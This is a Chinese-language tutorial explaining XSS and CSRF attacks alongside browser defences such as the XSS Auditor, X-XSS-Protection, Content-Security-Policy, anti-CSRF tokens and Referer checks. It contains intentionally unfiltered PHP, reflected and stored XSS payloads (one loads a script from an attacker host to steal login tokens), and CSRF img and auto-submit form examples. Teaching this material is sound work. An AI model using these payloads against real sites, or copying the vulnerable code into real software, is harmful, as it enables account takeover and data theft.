随着各浏览器安全功能的提高,前端防御面临的问题也没有之前那么复杂,但浏览器的防御措施并不能百分百的保证网站的安全。浏览器的XSS Auditor,使得反射型xss几乎被废;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的脚本执行!无疑,这对xss攻击是一记重拳。但是道高一尺,魔高一丈,尤其是在安全界,永远应该记住的一句箴言就是“只有相对的安全,没有绝对的安全”。本文重点介绍现代浏览器的安全特性以及浏览器依然不能防御的攻击手段。

XSS

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和 CSS混淆,故将跨站脚本攻击缩写为XSS。

为什么叫跨站脚本?简单来说,就是在一个网站上运行了该网站之外的js脚本(当然,开发者自已引用的可信源的js不算,比如使用了cdn的 jQuery )。

一个经典的例子

假设有一个搜索页面,关键字以Get方法传递。假设,搜索页面在输出结果时会无过滤的将用户的关键字回显到网页上,大致逻辑如下:

//xss.php <?php if(isset($_REQUEST["wd"])) 
 $wd=$_REQUEST["wd"]; if($wd){ echo "<div>关键字'$wd'搜索的结果如下:</div>" } 
... ?>

然后搜索请求的链接是:

http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>

或者为了隐蔽编一下码:

http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E

在es6下,你甚者可以用unicode码点。

如果是在几年前,你的浏览器大致都会弹出这样一个窗口:


alert

然而,现在不行了,在chrome和safari下,如果发现响应中包含请求参数中相同的代码字符串,它们就会拒绝执行这些代码,你会收到如下的错误提示:

The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.

XSS Auditor

xss auditor是Chrome 和 Safari中内建的一个防御xss攻击的功能模块,相当于一个审计器,有预设规则,主要功能就是针对上述这种情况。此功能默认是开启的,当然也可以关闭,需要在response header中显式指定:

//关闭 xss auditor X-XSS-Protection: 0

当然,更强大的是,触发后还可以将详情上报,便于分析跟踪:

X-XSS-Protection: 1; report=http://example.com/your_report_URI

也可以使用block模式:一旦触发,当前页面就会终止,并同时展示一个空白页面给用户:

X-XSS-Protection: 1; mode=block

如果将请求换成post,xss auditor还会被触发吗?答案是:可以!

XSS Auditor的缺点

我们将后台逻辑改一下,给每个">"后加一个分号。

<?php if(isset($_REQUEST["wd"])) 
 $wd=str_replace(">",">;",$_REQUEST["wd"]); if($wd){ echo "<div>关键字'$wd'搜索的结果如下:</div>" } ?>

然后依然是之前的链接,刷新:


alert

成功了,当然本例只是一个说明,通常情况下,我们都会对用户提交的数据进行一些处理,如果这些处理导致和提交的内容不一样了,但是仍然可以执行,比如像本例一样。那么xss auditor 就无能为力了。不过xss auditor本身的智能度也挺高,像字符编码,大小写变化这种变化依然躲不过xss auditor。

存储型xss

比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入:

<script src="http://www.hacker.org/xss.payload.js"></script>

然后再随便输入点其它文字,提交留言,提交成功后,内容将会被保存到服务器数据库,只要再访问留言列表,这个就会被插入到网页中,xss.payload.js中的代码就可以执行,如果访问的用户都是已登录用户,xss.payload.js可以获取老浏览用户的信息,如的登录token、用户的个人资料等,payload甚至可以拉一个全家桶下来。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。所以W3 org引入了CSP:

Content-Security-Policy

Content-Security-Policy 是W3 org草案,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生,chrome已经支持,详情可以参考 Chrome CSP 官方文档。这样一来,从源头上杜绝了不可信源的xss payload加载的可能型。比如下面的配置只允许加载本域下的脚本:

Content-Security-Policy: default-src 'self'

这样即使页面被注入了外部脚本,浏览器也会拒绝执行,你会收到如下的错误提示:

Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

当然,CSP能指定的规则是很多的,甚至也可以禁止内联脚本执行,详情请移步 W3 CSP。 浏览器的支持情况请移步 Can I use Content Security Policy

CSRF

复制一段百度的介绍:CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

CSRF攻击流程

  1. 用户登录受信任网站A。
  2. 在不退出 A的情况下,访问危险网站B(攻击者网站或攻击者挂马的网站)。

举个例子,假设A网站是个博客网站,用户登录之后可以删除自己的博客,删除的链接如下:

http://www.a.com/resource/delete/{blogid}

先看看后台登录逻辑:用户登录成功后,创建session,然后将session id通过cookie传给浏览器,这样便可以跟踪用户登录状态,以后所有的操作都是登录态的操作。删除博客时后台的逻辑是这样的:删除之前,先检验用户身份,如果身份校验通过则删除,如果未登录,则重定向到登录页面。

假设攻击者在这篇博客下面评论如下:

“hi 你好,读了你的博客很受益,我有一个问题,请大牛解惑,链接是b,多谢?!”

看了这条评论后,你内心很满足,于是决定指导一下这位粉丝,你点了链接,回答了问题,自信满满地返回到自己的博客,然后突然发现 “博客找不到了”! 怪哉,why? 中招了!

问题就在你刚才访问过的网页。假设你的博客id=8, b网页内容大致如下:

<html> ... <img src='http://www.a.com/resource/delete/8'/> ... <html>

网页中img src正是删除你的博客链接,或许你会说,后台不是有身份认证么?是的,后台的确有身份认证,但此时访问b,你并没有退出登录,而此时b中浏览器又发起了http://www.a.com/resource/delete/8 请求(同时会发送该域下的cookie),这样一来,后台用户认证会通过,所以删除会成功。ps:是不是以后可以用这招去删帖了。。。

如果是post请求呢?

<html> ... <form method="post" action="http://www.a.com/resource/delete/"> <input type="hidden" name=id value=8> </form> <script> $("form").submit() </script> ... <html>

在b页面中,制造一个表单,然后直接触发提交,依然可以!

CSRF攻击防御

随机值法

后台对每一次请求都生成一个随机值,保存在session中,然后再将该值发送给页面,可以在cookie中,也可以在一个隐藏的表单中(大多数后台框架都是这么做的,如php的symfony、laraval),甚至也可以是在验证码中。下面以表单为例来说明:

<?php $hash = random(100000); ?> <form method="post" action="delete/"> <input type="id" name="8"> <input type="hidden" name="hash" value="<?php $hash; ?>"> <input type="submit" value="Submit"> </form>

然后提交时,服务端再对比hash值是不是和session中一样。 攻击者网站时无法预估这个hash的。但是请注意,在上面所述的攻击场景中,把hash存在cookie中时不行的。

检测refer

后台在进行删除操作之前先判断refer,如果不是本域的请求,则直接拒绝,这种做法很有效。但是,想想这样一个场景:如果博客允许评论里面插图,攻击者完全可以将 img插入到原网站中,这样refer还是在当下域名,博客依然会被删除。所有可能引入链接的html标签都是不可信的,如script、link,后台过滤策略一定要考虑到。

总结

其实可以看到,上面的攻击虽说现场是在前端,但是本质还是服务端验证不足、过滤不全导致。对于前端来说,防御所做的事有限,但是站在攻击者角度来讲,又必需精通前端。今天只是web渗透的皮毛,如果大家有兴趣,可以在评论中留言,以后也可以多分享一些服务器渗透、操作系统安全方面的,当然根据期待度以及我的时间而定。

 

作者 lazydu 合天智汇